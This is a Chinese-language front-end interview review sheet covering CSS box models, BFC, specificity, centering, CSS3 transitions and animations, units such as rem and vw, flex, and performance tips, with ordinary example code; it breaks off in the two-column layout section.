原文链接: https://interview.poetries.top/docs/base/high-frequency.html

一天快速复习完高频面试题

1 CSS

盒模型

  • 有两种, IE盒子模型、W3C盒子模型;
  • 盒模型: 内容(content)、填充(padding)、边界(margin)、 边框(border);
  • 区 别: IEcontent部分把 borderpadding计算了进去;

标准盒子模型的模型图

从上图可以看到:

  • 盒子总宽度 = width + padding + border + margin;
  • 盒子总高度 = height + padding + border + margin

也就是,width/height 只是内容高度,不包含 paddingborder

IE 怪异盒子模型

从上图可以看到:

  • 盒子总宽度 = width + margin;
  • 盒子总高度 = height + margin;

也就是,width/height 包含了 paddingborder

页面渲染时,dom 元素所采用的 布局模型。可通过box-sizing进行设置

通过 box-sizing 来改变元素的盒模型

CSS 中的 box-sizing 属性定义了引擎应该如何计算一个元素的总宽度和总高度

  • box-sizing: content-box; 默认的标准(W3C)盒模型元素效果,元素的 width/height 不包含paddingborder,与标准盒子模型表现一致
  • box-sizing: border-box; 触发怪异(IE)盒模型元素的效果,元素的 width/height 包含 paddingborder,与怪异盒子模型表现一致
  • box-sizing: inherit; 继承父元素 box-sizing 属性的值

小结

  • 盒子模型构成:内容(content)、内填充(padding)、 边框(border)、外边距(margin)
  • IE8及其以下版本浏览器,未声明 DOCTYPE,内容宽高会包含内填充和边框,称为怪异盒模型(IE盒模型)
  • 标准(W3C)盒模型:元素宽度 = width + padding + border + margin
  • 怪异(IE)盒模型:元素宽度 = width + margin
  • 标准浏览器通过设置 css3 的 box-sizing: border-box 属性,触发“怪异模式”解析计算宽高

BFC

块级格式化上下文,是一个独立的渲染区域,让处于 BFC 内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响。

IE下为 Layout,可通过 zoom:1 触发

触发条件:

  • 根元素,即HTML元素
  • 绝对定位元素 position: absolute/fixed
  • 行内块元素 display的值为inline-blocktableflexinline-flexgridinline-grid
  • 浮动元素:float值为leftright
  • overflow值不为 visible,为 autoscrollhidden

规则:

  1. 属于同一个 BFC 的两个相邻 Box 垂直排列
  2. 属于同一个 BFC 的两个相邻 Boxmargin 会发生重叠
  3. BFC 中子元素的 margin box 的左边, 与包含块 (BFC) border box的左边相接触 (子元素 absolute 除外)

在CSS中,BFC代表"块级格式化上下文"(Block Formatting Context),是一个用于布局元素的概念。一个元素形成了BFC之后,会根据BFC的规则来进行布局和定位。在理解BFC中子元素的margin box与包含块(BFC)的border box相接触的概念时,可以考虑以下要点:

  • 外边距折叠(Margin Collapsing): 在正常情况下,块级元素的外边距会折叠,即相邻元素的外边距会取两者之间的最大值,而不是简单相加。但是,当一个元素形成了BFC时,它的外边距不会和其内部的子元素的外边距折叠。
  • 相邻边界情况: BFC中子元素的margin box的左边会与包含块的border box的左边相接触,这意味着子元素的外边距不会穿过包含块的边界,从而保证布局的合理性。

下面是一个示例代码,帮助你更好地理解这个概念:

    <!DOCTYPE html>
    <html>
    <head>
      <link rel="stylesheet" type="text/css" href="styles.css">
    </head>
    <body>
      <div class="container">
        <div class="child">Child Element</div>
      </div>
    </body>
    </html>

CSS (styles.css):

    .container {
      border: 2px solid black; /* 包含块的边框 */
      overflow: hidden; /* 创建 BFC */
    }
    
    .child {
      margin: 20px; /* 子元素的外边距 */
      padding: 10px; /* 子元素的内边距 */
      background-color: lightgray;
    }

在这个示例中,.container元素创建了一个BFC(通过设置overflow: hidden;),而.child.container的子元素。由于.child的外边距和内边距,我们可以看到以下效果:

  • .child元素的margin box的外边界会与.containerborder box的左边界相接触,这意味着.child的外边距不会超出.container的边界。
  • 由于.container创建了BFC,.child的外边距不会与.container的外边距折叠。

通过这个示例,你可以更好地理解BFC中子元素的margin box与包含块的border box之间的关系,以及BFC对布局的影响。

  1. BFC 的区域不会与 float 的元素区域重叠
  2. 计算 BFC 的高度时,浮动子元素也参与计算
  3. 文字层不会被浮动层覆盖,环绕于周围

应用:

  • 利用2:阻止margin重叠
  • 利用4:自适应两栏布局
  • 利用 5 ,可以避免高度塌陷
  • 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个div都位于同一个 BFC 区域之中)

示例

1. 防止margin重叠(塌陷)

    <style>
        p {
          color: #f55;
          background: #fcc;
          width: 200px;
          line-height: 100px;
          text-align:center;
          margin: 100px;
        }
    </style>
    <body>
      <p>Haha</p >
      <p>Hehe</p >
    </body>

  • 两个p元素之间的距离为100px,发生了margin重叠(塌陷),以最大的为准,如果第一个Pmargin80的话,两个P之间的距离还是100,以最大的为准。
  • 同一个BFC的俩个相邻的盒子的margin会发生重叠
  • 可以在p外面包裹一层容器,并触发这个容器生成一个BFC,那么两个p就不属于同一个BFC,则不会出现margin重叠
    <style>
        .wrap {
            overflow: hidden;// 新的BFC
        }
        p {
            color: #f55;
            background: #fcc;
            width: 200px;
            line-height: 100px;
            text-align:center;
            margin: 100px;
        }
    </style>
    <body>
        <p>Haha</p >
        <div class="wrap">
            <p>Hehe</p >
        </div>
    </body>

这时候,边距则不会重叠:

2. 清除内部浮动

    <style>
        .par {
            border: 5px solid #fcc;
            width: 300px;
        }
     
        .child {
            border: 5px solid #f66;
            width:100px;
            height: 100px;
            float: left;
        }
    </style>
    <body>
        <div class="par">
          <div class="child"></div>
          <div class="child"></div>
        </div>
    </body>

BFC在计算高度时,浮动元素也会参与,所以我们可以触发.par元素生成BFC,则内部浮动元素计算高度时候也会计算

    .par {
        overflow: hidden;
    }

3. 自适应多栏布局

这里举个两栏的布局

    <style>
        body {
            width: 300px;
            position: relative;
        }
     
        .aside {
            width: 100px;
            height: 150px;
            float: left;
            background: #f66;
        }
     
        .main {
            height: 200px;
            background: #fcc;
        }
    </style>
    <body>
        <div class="aside"></div>
        <div class="main"></div>
    </body>

  • 每个元素的左外边距与包含块的左边界相接触
  • 因此,虽然.aslide为浮动元素,但是main的左边依然会与包含块的左边相接触,而BFC的区域不会与浮动盒子重叠
  • 所以我们可以通过触发main生成BFC,以此适应两栏布局
    .main {
      overflow: hidden;
    }

这时候,新的BFC不会与浮动的.aside元素重叠。因此会根据包含块的宽度,和.aside的宽度,自动变窄

选择器权重计算方式

!important > 内联样式 = 外联样式 > ID选择器 > 类选择器 = 伪类选择器 = 属性选择器 > 元素选择器 = 伪元素选择器 > 通配选择器 = 后代选择器 = 兄弟选择器

  1. 属性后面加!important会覆盖页面内任何位置定义的元素样式
  2. 作为style属性写在元素内的样式
  3. id选择器
  4. 类选择器
  5. 标签选择器
  6. 通配符选择器(*
  7. 浏览器自定义或继承

同一级别:后写的会覆盖先写的

css选择器的解析原则:选择器定位DOM元素是从右往左的方向,这样可以尽早的过滤掉一些不必要的样式规则和元素

清除浮动

  1. 在浮动元素后面添加 clear:both 的空 div 元素
    <div class="container">
        <div class="left"></div>
        <div class="right"></div>
        <div style="clear:both"></div>
    </div>
  1. 给父元素添加 overflow:hidden 或者 auto 样式,触发BFC
    <div class="container">
        <div class="left"></div>
        <div class="right"></div>
    </div>
    .container{
        width: 300px;
        background-color: #aaa;
        overflow:hidden;
        zoom:1;   /*IE6*/
    }
  1. 使用伪元素,也是在元素末尾添加一个点并带有 clear: both 属性的元素实现的。
    <div class="container clearfix">
        <div class="left"></div>
        <div class="right"></div>
    </div>
    .clearfix{
        zoom: 1; /*IE6*/
    }
    .clearfix:after{
        content: ".";
        height: 0;
        clear: both;
        display: block;
        visibility: hidden;
    }

推荐使用第三种方法,不会在页面新增div,文档结构更加清晰

垂直居中的方案

  1. 利用绝对定位+transform ,设置 left: 50%top: 50% 现将子元素左上角移到父元素中心位置,然后再通过 translate 来调整子元素的中心点到父元素的中心。该方法可以不定宽高
    .father {
      position: relative;
    }
    .son {
      position: absolute;
      left: 50%;
      top: 50%;
      transform: translate(-50%, -50%);
    }
  1. 利用绝对定位+margin:auto ,子元素所有方向都为 0 ,将 margin 设置为 auto ,由于宽高固定,对应方向实现平分,该方法必须盒子有宽高
    .father {
      position: relative;
    }
    .son {
      position: absolute;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0px;
      margin: auto;
      height: 100px;
      width: 100px;
    }
  1. 利用绝对定位+margin:负值 ,设置 left: 50%top: 50% 现将子元素左上角移到父元素中心位置,然后再通过 margin-leftmargin-top 以子元素自己的一半宽高进行负值赋值。该方法必须定宽高
    .father {
      position: relative;
    }
    .son {
      position: absolute;
      left: 50%;
      top: 50%;
      width: 200px;
      height: 200px;
      margin-left: -100px;
      margin-top: -100px;
    }
  1. 利用 flex ,最经典最方便的一种了,不用解释,定不定宽高无所谓
    <style>
        .father {
            display: flex;
            justify-content: center;
            align-items: center;
            width: 200px;
            height: 200px;
            background: skyblue;
        }
        .son {
            width: 100px;
            height: 100px;
            background: red;
        }
    </style>
    <div class="father">
        <div class="son"></div>
    </div>
  1. grid网格布局
    <style>
    .father {
      display: grid;
      align-items:center;
      justify-content: center;
      width: 200px;
      height: 200px;
      background: skyblue;
    
    }
    .son {
      width: 10px;
      height: 10px;
      border: 1px solid red
    }
    </style>
    <div class="father">
      <div class="son"></div>
    </div>
  1. table布局

设置父元素为display:table-cell,子元素设置 display: inline-block。利用verticaltext- align可以让所有的行内块级元素水平垂直居中

    <style>
        .father {
            display: table-cell;
            width: 200px;
            height: 200px;
            background: skyblue;
            vertical-align: middle;
            text-align: center;
        }
        .son {
            display: inline-block;
            width: 100px;
            height: 100px;
            background: red;
        }
    </style>
    <div class="father">
        <div class="son"></div>
    </div>

小结

不知道元素宽高大小仍能实现水平垂直居中的方法有:

  • 利用绝对定位+transform
  • flex布局
  • grid布局

根据元素标签的性质,可以分为:

  • 内联元素居中布局
  • 块级元素居中布局

内联元素居中布局

  • 水平居中
    • 行内元素可设置:text-align: center
    • flex布局设置父元素:display: flex; justify-content: center
  • 垂直居中
    • 单行文本父元素确认高度:height === line-height
    • 多行文本父元素确认高度:display: table-cell; vertical-align: middle

块级元素居中布局

  • 水平居中
    • 定宽: margin: 0 auto
    • 绝对定位+left:50%+margin:负自身一半
  • 垂直居中
    • position: absolute设置lefttopmargin-leftmargin-top(定高)
    • display: table-cell
    • transform: translate(x, y)
    • flex(不定高,不定宽)
    • grid(不定高,不定宽),兼容性相对比较差

CSS3的新特性

1. 是什么

css,即层叠样式表(Cascading Style Sheets)的简称,是一种标记语言,由浏览器解释执行用来使页面变得更美观

css3是css的最新标准,是向后兼容的,CSS1/2的特性在 CSS3 里都是可以使用的

CSS3 也增加了很多新特性,为开发带来了更佳的开发体验

2. 选择器

css3中新增了一些选择器,主要为如下图所示:

3. 新样式

  • 边框 css3新增了三个边框属性,分别是:
    • border-radius:创建圆角边框
    • box-shadow:为元素添加阴影
    • border-image:使用图片来绘制边框
  • box-shadow 设置元素阴影,设置属性如下(其中水平阴影和垂直阴影是必须设置的)
    • 水平阴影
    • 垂直阴影
    • 模糊距离(虚实)
    • 阴影尺寸(影子大小)
    • 阴影颜色
    • 内/外阴影
  • 背景 新增了几个关于背景的属性,分别是background-clipbackground-originbackground-sizebackground-break
    • background-clip 用于确定背景画区,有以下几种可能的属性:通常情况,背景都是覆盖整个元素的,利用这个属性可以设定背景颜色或图片的覆盖范围
      • background-clip: border-box; 背景从border开始显示
      • background-clip: padding-box; 背景从padding开始显示
      • background-clip: content-box; 背景显content区域开始显示
      • background-clip: no-clip; 默认属性,等同于border-box
    • background-origin 当我们设置背景图片时,图片是会以左上角对齐,但是是以border的左上角对齐还是以padding的左上角或者content的左上角对齐? border-origin正是用来设置这个的
      • background-origin: border-box; 从border开始计算background-position
      • background-origin: padding-box; 从padding开始计算background-position
      • background-origin: content-box; 从content开始计算background-position
      • 默认情况是padding-box,即以padding的左上角为原点
    • background-size 常用来调整背景图片的大小,主要用于设定图片本身。有以下可能的属性:
      • background-size: contain; 缩小图片以适合元素(维持像素长宽比)
      • background-size: cover; 扩展元素以填补元素(维持像素长宽比)
      • background-size: 100px 100px; 缩小图片至指定的大小
      • background-size: 50% 100%; 缩小图片至指定的大小,百分比是相对包 含元素的尺寸
    • background-break 元素可以被分成几个独立的盒子(如使内联元素span跨越多行),background-break 属性用来控制背景怎样在这些不同的盒子中显示
      • background-break: continuous; 默认值。忽略盒之间的距离(也就是像元素没有分成多个盒子,依然是一个整体一样)
      • background-break: bounding-box; 把盒之间的距离计算在内;
      • background-break: each-box; 为每个盒子单独重绘背景
  • 文字
    • word-wrap: normal|break-word
      • normal:使用浏览器默认的换行
      • break-all:允许在单词内换行
    • text-overflow 设置或检索当当前行超过指定容器的边界时如何显示,属性有两个值选择
      • clip:修剪文本
      • ellipsis:显示省略符号来代表被修剪的文本
    • text-shadow 可向文本应用阴影。能够规定水平阴影、垂直阴影、模糊距离,以及阴影的颜色
    • text-decoration CSS3里面开始支持对文字的更深层次的渲染,具体有三个属性可供设置:
      • text-fill-color: 设置文字内部填充颜色
      • text-stroke-color: 设置文字边界填充颜色
      • text-stroke-width: 设置文字边界宽度
  • 颜色
    • css3新增了新的颜色表示方式rgbahsla
    • rgba分为两部分,rgb为颜色值,a为透明度
    • hala分为四部分,h为色相,s为饱和度,l为亮度,a为透明度

4. transition 过渡

transition属性可以被指定为一个或多个CSS属性的过渡效果,多个属性之间用逗号进行分隔,必须规定两项内容:

  • 过度效果
  • 持续时间
    transition: CSS属性,花费时间,效果曲线(默认ease),延迟时间(默认0)

上面为简写模式,也可以分开写各个属性

    transition-property: width; 
    transition-duration: 1s;
    transition-timing-function: linear;
    transition-delay: 2s;

5. transform 转换

  • transform属性允许你旋转,缩放,倾斜或平移给定元素
  • transform-origin:转换元素的位置(围绕那个点进行转换),默认值为(x,y,z):(50%,50%,0)

使用方式:

  • transform: translate(120px, 50%):位移
  • transform: scale(2, 0.5):缩放
  • transform: rotate(0.5turn):旋转
  • transform: skew(30deg, 20deg):倾斜

6. animation 动画

动画这个平常用的也很多,主要是做一个预设的动画。和一些页面交互的动画效果,结果和过渡应该一样,让页面不会那么生硬

animation也有很多的属性

  • animation-name:动画名称
  • animation-duration:动画持续时间
  • animation-timing-function:动画时间函数
  • animation-delay:动画延迟时间
  • animation-iteration-count:动画执行次数,可以设置为一个整数,也可以设置为infinite,意思是无限循环
  • animation-direction:动画执行方向
  • animation-paly-state:动画播放状态
  • animation-fill-mode:动画填充模式

7. 渐变

颜色渐变是指在两个颜色之间平稳的过渡,css3渐变包括

  • linear-gradient:线性渐变 background-image: linear-gradient(direction, color-stop1, color-stop2, ...);
  • radial-gradient:径向渐变 linear-gradient(0deg, red, green)

8. 其他

  • Flex弹性布局
  • Grid栅格布局
  • 媒体查询 @media screen and (max-width: 960px) {}还有打印print

transition和animation的区别

Animationtransition大部分属性是相同的,他们都是随时间改变元素的属性值,他们的主要区别是transition需要触发一个事件才能改变属性,而animation不需要触发任何事件的情况下才会随时间改变属性值,并且transition为2帧,从from .... to,而animation可以一帧一帧的

CSS动画和过渡

常见的动画效果有很多,如平移旋转缩放等等,复杂动画则是多个简单动画的组合

css实现动画的方式,有如下几种:

  • transition 实现渐变动画
  • transform 转变动画
  • animation 实现自定义动画

1. transition 实现渐变动画

transition的属性如下:

  • transition-property:填写需要变化的css属性
  • transition-duration:完成过渡效果需要的时间单位(s或者ms)默认是 0
  • transition-timing-function:完成效果的速度曲线
  • transition-delay: (规定过渡效果何时开始。默认是0

一般情况下,我们都是写一起的,比如:transition: width 2s ease 1s

其中timing-function的值有如下:

描述
linear匀速(等于 cubic-bezier(0,0,1,1)
ease从慢到快再到慢(cubic-bezier(0.25,0.1,0.25,1)
ease-in慢慢变快(等于 cubic-bezier(0.42,0,1,1)
ease-out慢慢变慢(等于 cubic-bezier(0,0,0.58,1)
ease-in-out先变快再到慢(等于 cubic-bezier(0.42,0,0.58,1)),渐显渐隐效果
cubic-bezier(*n*,*n*,*n*,*n*)cubic-bezier 函数中定义自己的值。可能的值是 01 之间的数值

注意:并不是所有的属性都能使用过渡的,如display:none<->display:block

举个例子,实现鼠标移动上去发生变化动画效果

    <style>
      .base {
        width: 100px;
        height: 100px;
        display: inline-block;
        background-color: #0EA9FF;
        border-width: 5px;
        border-style: solid;
        border-color: #5daf34;
        transition-property: width, height, background-color, border-width;
        transition-duration: 2s;
        transition-timing-function: ease-in;
        transition-delay: 500ms;
      }
    
      /*简写*/
      /*transition: all 2s ease-in 500ms;*/
      .base:hover {
        width: 200px;
        height: 200px;
        background-color: #5daf34;
        border-width: 10px;
        border-color: #3a8ee6;
      }
    </style>
    <div class="base"></div>

2. transform 转变动画

包含四个常用的功能:

  • translate(x,y):位移
  • scale:缩放
  • rotate:旋转
  • skew:倾斜

一般配合transition过度使用

注意的是,transform不支持inline元素,使用前把它变成block

举个例子

    <style>
    .base {
      width: 100px;
      height: 100px;
      display: inline-block;
      background-color: #0EA9FF;
      border-width: 5px;
      border-style: solid;
      border-color: #5daf34;
      transition-property: width, height, background-color, border-width;
      transition-duration: 2s;
      transition-timing-function: ease-in;
      transition-delay: 500ms;
    }
    .base2 {
      transform: none;
      transition-property: transform;
      transition-delay: 5ms;
    }
    .base2:hover {
      transform: scale(0.8, 1.5) rotate(35deg) skew(5deg) translate(15px, 25px);
    }
    </style>
    <div class="base base2"></div>

可以看到盒子发生了旋转,倾斜,平移,放大

3. animation 实现自定义动画

一个关键帧动画,最少包含两部分,animation 属性及属性值(动画的名称和运行方式运行时间等)@keyframes(规定动画的具体实现过程)

animation是由 8 个属性的简写,分别如下:

属性描述属性值
animation-duration指定动画完成一个周期所需要时间,单位秒(s)或毫秒(ms),默认是 0
animation-timing-function指定动画计时函数,即动画的速度曲线,默认是 "ease"lineareaseease-inease-outease-in-out
animation-delay指定动画延迟时间,即动画何时开始,默认是 0
animation-iteration-count指定动画播放的次数,默认是 1。但我们一般用infinite,一直播放
animation-direction 指定动画播放的方向默认是 normalnormalreversealternatealternate-reverse
animation-fill-mode指定动画填充模式。默认是 noneforwardsbackwardsboth
animation-play-state指定动画播放状态,正在运行或暂停。默认是 runningrunningpauser
animation-name指定 @keyframes 动画的名称

CSS 动画只需要定义一些关键的帧,而其余的帧,浏览器会根据计时函数插值计算出来,

@keyframes定义关键帧,可以是from->to(等同于0%100%),也可以是从0%->100%之间任意个的分层设置

因此,如果我们想要让元素旋转一圈,只需要定义开始和结束两帧即可:

    @keyframes rotate{
      from {
        transform: rotate(0deg);
      }
      to {
        transform: rotate(360deg);
      }
    }

from 表示最开始的那一帧,to 表示结束时的那一帧

也可以使用百分比刻画生命周期

    @keyframes rotate{
      0%{
        transform: rotate(0deg);
      }
      50%{
        transform: rotate(180deg);
      }
      100%{
        transform: rotate(360deg);
      }
    }

定义好了关键帧后,下来就可以直接用它了:

    animation: rotate 2s;

总结

属性含义
transition(过度)用于设置元素的样式过度,和animation有着类似的效果,但细节上有很大的不同
transform(变形)用于元素进行旋转、缩放、移动或倾斜,和设置样式的动画并没有什么关系,就相当于color一样用来设置元素的“外表”
translate(移动)只是transform的一个属性值,即移动
animation(动画)用于设置动画属性,他是一个简写的属性,包含6个属性

4. 用css3动画使一个图片旋转

    #loader {
      display: block;
      position: relative;
      animation: spin 2s linear infinite;
    }
    
    @keyframes spin {
      0% {
        transform: rotate(0deg);
      }
      100% {
        transform: rotate(360deg);
      }
    }

有哪些方式(CSS)可以隐藏页面元素

  • opacity:0:本质上是将元素的透明度将为0,就看起来隐藏了,但是依然占据空间且可以交互
  • display:none: 这个是彻底隐藏了元素,元素从文档流中消失,既不占据空间也不交互,也不影响布局
  • visibility:hidden: 与上一个方法类似的效果,占据空间,但是不可以交互了
  • overflow:hidden: 这个只隐藏元素溢出的部分,但是占据空间且不可交互
  • z-index:-9999: 原理是将层级放到底部,这样就被覆盖了,看起来隐藏了
  • transform:scale(0,0): 平面变换,将元素缩放为0,但是依然占据空间,但不可交互

display: none 与 visibility: hidden 的区别

  • 修改常规流中元素的display通常会造成文档重排。修改visibility属性只会造成本元素的重绘
  • 读屏器不会读取display:none;元素内容;会读取visibility:hidden;元素内容
  • display:none;会让元素完全从渲染树中消失,渲染的时候不占据任何空间;visibility:hidden;不会让元素从渲染树消失,渲染时元素继续占据空间,只是内容不可见
  • display:none;是非继承属性,子孙节点消失由于元素从渲染树消失造成,通过修改子孙节点属性无法显示visibility:hidden;是继承属性,子孙节点消失由于继承了hidden,通过设置visibility:visible;可以让子孙节点显式

说说em/px/rem/vh/vw区别

  • 传统的项目开发中,我们只会用到px%em这几个单位,它可以适用于大部分的项目开发,且拥有比较良好的兼容性
  • CSS3开始,浏览器对计量单位的支持又提升到了另外一个境界,新增了remvhvwvm等一些新的计量单位
  • 利用这些新的单位开发出比较良好的响应式页面,适应多种不同分辨率的终端,包括移动设备等
  • css单位中,可以分为长度单位、绝对单位,如下表所指示

CSS单位 |
---|---
相对长度单位 | emexchremvwvhvminvmax%
绝对长度单位 | cmmminpxptpc

这里我们主要讲述pxemremvhvw

px

px,表示像素,所谓像素就是呈现在我们显示器上的一个个小点,每个像素点都是大小等同的,所以像素为计量单位被分在了绝对长度单位中

有些人会把px认为是相对长度,原因在于在移动端中存在设备像素比,px实际显示的大小是不确定的

这里之所以认为px为绝对单位,在于px的大小和元素的其他属性无关

em

em是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸(1em = 16px

为了简化 font-size 的换算,我们需要在css中的 body 选择器中声明font-size= 62.5%,这就使 em 值变为 16px*62.5% = 10px

这样 12px = 1.2em, 10px = 1em, 也就是说只需要将你的原来的px 数值除以 10,然后换上 em作为单位就行了

特点:

  • em 的值并不是固定的
  • em 会继承父级元素的字体大小
  • em 是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸
  • 任意浏览器的默认字体高都是 16px

举个例子

    <div class="big">
      我是14px=1.4rem<div class="small">我是12px=1.2rem</div>
    </div>

样式为

    <style>
        html {font-size: 10px;  } /*  公式16px*62.5%=10px  */  
        .big{font-size: 1.4rem}
        .small{font-size: 1.2rem}
    </style>

这时候.big元素的font-size14px,而.small元素的font-size为12px

rem(常用)

  • 根据屏幕的分辨率动态设置html的文字大小,达到等比缩放的功能
  • 保证html最终算出来的字体大小,不能小于12px
  • 在不同的移动端显示不同的元素比例效果
  • 如果htmlfont-size:20px的时候,那么此时的1rem = 20px
  • 把设计图的宽度分成多少分之一,根据实际情况
  • rem做盒子的宽度,viewport缩放

head加入常见的meta属性

    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <!--这个是关键-->
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,minimum-scale=1.0">

把这段代码加入head中的script预先加载

    // rem适配用这段代码动态计算html的font-size大小
    (function(win) {
        var docEl = win.document.documentElement;
        var timer = '';
    
        function changeRem() {
          var width = docEl.getBoundingClientRect().width;
          if (width > 750) { // 750是设计稿大小
              width = 750;
          }
          var fontS = width / 10; // 把设备宽度十等分 1rem<=75px
          docEl.style.fontSize = fontS + "px";
        }
        win.addEventListener("resize", function() {
          clearTimeout(timer);
          timer = setTimeout(changeRem, 30);
        }, false);
        win.addEventListener("pageshow", function(e) {
          if (e.persisted) { //清除缓存
            clearTimeout(timer);
            timer = setTimeout(changeRem, 30);
          }
        }, false);
        changeRem();
    })(window)
    (function flexible (window, document) {
      var docEl = document.documentElement
      var dpr = window.devicePixelRatio || 1
    
      // adjust body font size
      function setBodyFontSize () {
        if (document.body) {
          document.body.style.fontSize = (12 * dpr) + 'px'
        }
        else {
          document.addEventListener('DOMContentLoaded', setBodyFontSize)
        }
      }
      setBodyFontSize();
    
      // set 1rem = viewWidth / 10
      function setRemUnit () {
        var rem = docEl.clientWidth / 10
        docEl.style.fontSize = rem + 'px'
      }
    
      setRemUnit()
    
      // reset rem unit on page resize
      window.addEventListener('resize', setRemUnit)
      window.addEventListener('pageshow', function (e) {
        if (e.persisted) {
          setRemUnit()
        }
      })
    
      // detect 0.5px supports
      if (dpr >= 2) {
        var fakeBody = document.createElement('body')
        var testElement = document.createElement('div')
        testElement.style.border = '.5px solid transparent'
        fakeBody.appendChild(testElement)
        docEl.appendChild(fakeBody)
        if (testElement.offsetHeight === 1) {
          docEl.classList.add('hairlines')
        }
        docEl.removeChild(fakeBody)
      }
    }(window, document))

vh、vw

vw ,就是根据窗口的宽度,分成100等份,100vw就表示满宽,50vw就表示一半宽。(vw 始终是针对窗口的宽),同理,vh则为窗口的高度

这里的窗口分成几种情况:

  • 在桌面端,指的是浏览器的可视区域
  • 移动端指的就是布局视口

vwvh,比较容易混淆的一个单位是%,不过百分比宽泛的讲是相对于父元素:

  • 对于普通定位元素就是我们理解的父元素
  • 对于position: absolute;的元素是相对于已定位的父元素
  • 对于position: fixed;的元素是相对于 ViewPort(可视窗口)

总结

  • px :绝对单位,页面按精确像素展示
  • % :相对于父元素的宽度比例
  • em :相对单位,基准点为父节点字体的大小,如果自身定义了font-size按自身来计算(浏览器默认字体是16px),整个页面内1em不是一个固定的值
  • rem :相对单位,可理解为root em, 相对根节点html的字体大小来计算
  • vh、vw :主要用于页面视口大小布局,在页面布局上更加方便简单
    • vw:屏幕宽度的1%
    • vh:屏幕高度的1%
    • vmin:取vwvh中较小的那个(如:10vh=100px 10vw=200pxvmin=10vh=100px
    • vmax:取vwvh中较大的那个(如:10vh=100px 10vw=200pxvmax=10vw=200px

flex布局

很多时候我们会用到 flex: 1 ,它具体包含了以下的意思

  • flex-grow: 1 :该属性默认为 0 ,如果存在剩余空间,元素也不放大。设置为 1 代表会放大。
  • flex-shrink: 1 :该属性默认为 `1 ,如果空间不足,元素缩小。
  • flex-basis: 0% :该属性定义在分配多余空间之前,元素占据的主轴空间。浏览器就是根据这个属性来计算是否有多余空间的。默认值为 auto ,即项目本身大小。设置为 0% 之后,因为有 flex-growflex-shrink 的设置会自动放大或缩小。在做两栏布局时,如果右边的自适应元素 flex-basis 设为auto 的话,其本身大小将会是 0

如果要做优化,CSS提高性能的方法有哪些?

实现方式有很多种,主要有如下:

  • 内联首屏关键CSS
    • 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联css关键代码能够使浏览器在下载完html后就能立刻渲染
    • 而如果外部引用css代码,在解析html结构过程中遇到外部css文件,才会开始下载css代码,再渲染
    • 所以,CSS内联使用使渲染时间提前
    • 注意:但是较大的css代码并不合适内联(初始拥塞窗口、没有缓存),而其余代码则采取外部引用方式
  • 异步加载CSS
    • 在CSS文件请求、下载、解析完成之前,CSS会阻塞渲染,浏览器将不会渲染任何已处理的内容
    • 前面加载内联代码后,后面的外部引用css则没必要阻塞浏览器渲染。这时候就可以采取异步加载的方案,主要有如下:
      • 使用javascript将link标签插到head标签最后
                // 创建link标签
        const myCSS = document.createElement( "link" );
        myCSS.rel = "stylesheet";
        myCSS.href = "mystyles.css";
        // 插入到header的最后位置
        document.head.insertBefore( myCSS, document.head.childNodes[ document.head.childNodes.length - 1 ].nextSibling )
  * 设置`link`标签`media`属性为`noexis`,浏览器会认为当前样式表不适用当前类型,会在不阻塞页面渲染的情况下再进行下载。加载完成后,将media的值设为`screen`或`all`,从而让浏览器开始解析CSS
                <link rel="stylesheet" href="mystyles.css" media="noexist" onload="this.media='all'">
  * 通过`rel`属性将`link`元素标记为`alternate`可选样式表,也能实现浏览器异步加载。同样别忘了加载完成之后,将`rel`设回`stylesheet`
                <link rel="alternate stylesheet" href="mystyles.css" onload="this.rel='stylesheet'">
  • 资源压缩
    • 利用webpackgulp/gruntrollup等模块化工具,将css代码进行压缩,使文件变小,大大降低了浏览器的加载时间
  • 合理使用选择器
    • css匹配的规则是从右往左开始匹配,例如#markdown .content h3匹配规则如下:
      • 先找到h3标签元素
      • 然后去除祖先不是.content的元素
      • 最后去除祖先不是#markdown的元素
    • 如果嵌套的层级更多,页面中的元素更多,那么匹配所要花费的时间代价自然更高
    • 所以我们在编写选择器的时候,可以遵循以下规则:
      • 不要嵌套使用过多复杂选择器,最好不要三层以上
      • 使用id选择器就没必要再进行嵌套
      • 通配符和属性选择器效率最低,避免使用
  • 减少使用昂贵的属性
    • 在页面发生重绘的时候,昂贵属性如box-shadow/border-radius/filter/透明度/:nth-child等,会降低浏览器的渲染性能
  • 不要使用@import
    • css样式文件有两种引入方式,一种是link元素,另一种是@import
    • @import会影响浏览器的并行下载,使得页面在加载时增加额外的延迟,增添了额外的往返耗时
    • 而且多个@import可能会导致下载顺序紊乱
    • 比如一个css文件index.css包含了以下内容:@import url("reset.css")
    • 那么浏览器就必须先把index.css下载、解析和执行后,才下载、解析和执行第二个文件reset.css
  • 其他
    • 减少重排操作,以及减少不必要的重绘
    • 了解哪些属性可以继承而来,避免对这些属性重复编写
    • css Sprite,合成所有icon图片,用宽高加上backgroud-position的背景图方式显现出我们要的icon图,减少了http请求
    • 把小的icon图片转成base64编码
    • CSS3动画或者过渡尽量使用transformopacity来实现动画,不要使用lefttop属性

画一条 0.5px 的线

  • 采用 meta viewport 的方式 <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
  • 采用 border-image 的方式
  • 采用 transform: scale() 的方式

如何画一个三角形

三角形原理:边框的均分原理

    div {
      width:0px;
      height:0px;
      border-top:10px solid red; 
      border-right:10px solid transparent; 
      border-bottom:10px solid transparent; 
      border-left:10px solid transparent;
    }

两栏布局:左边定宽,右边自适应方案

    <div class="box">
      <div class="box-left"></div>
      <div class="box-right"></div>
    </div>

利用float + margin实现

    .box {
     height: 200px;
    }
    
    .box > div {
      height: 100%;
    }
    
    .box-left {
      width: 200px;
      float: left;
      background-color: blue;
    }
    
    .box-right {
      margin-left: 200px;
      background-color: red;
    }

利用calc计算宽度

    .box {
     height: 200px;
    }
    
    .box > div {
      height: 100%;
    }
    
    .box-left {
      width: 200px;
      float: left;
      background-color: blue;
    }
    
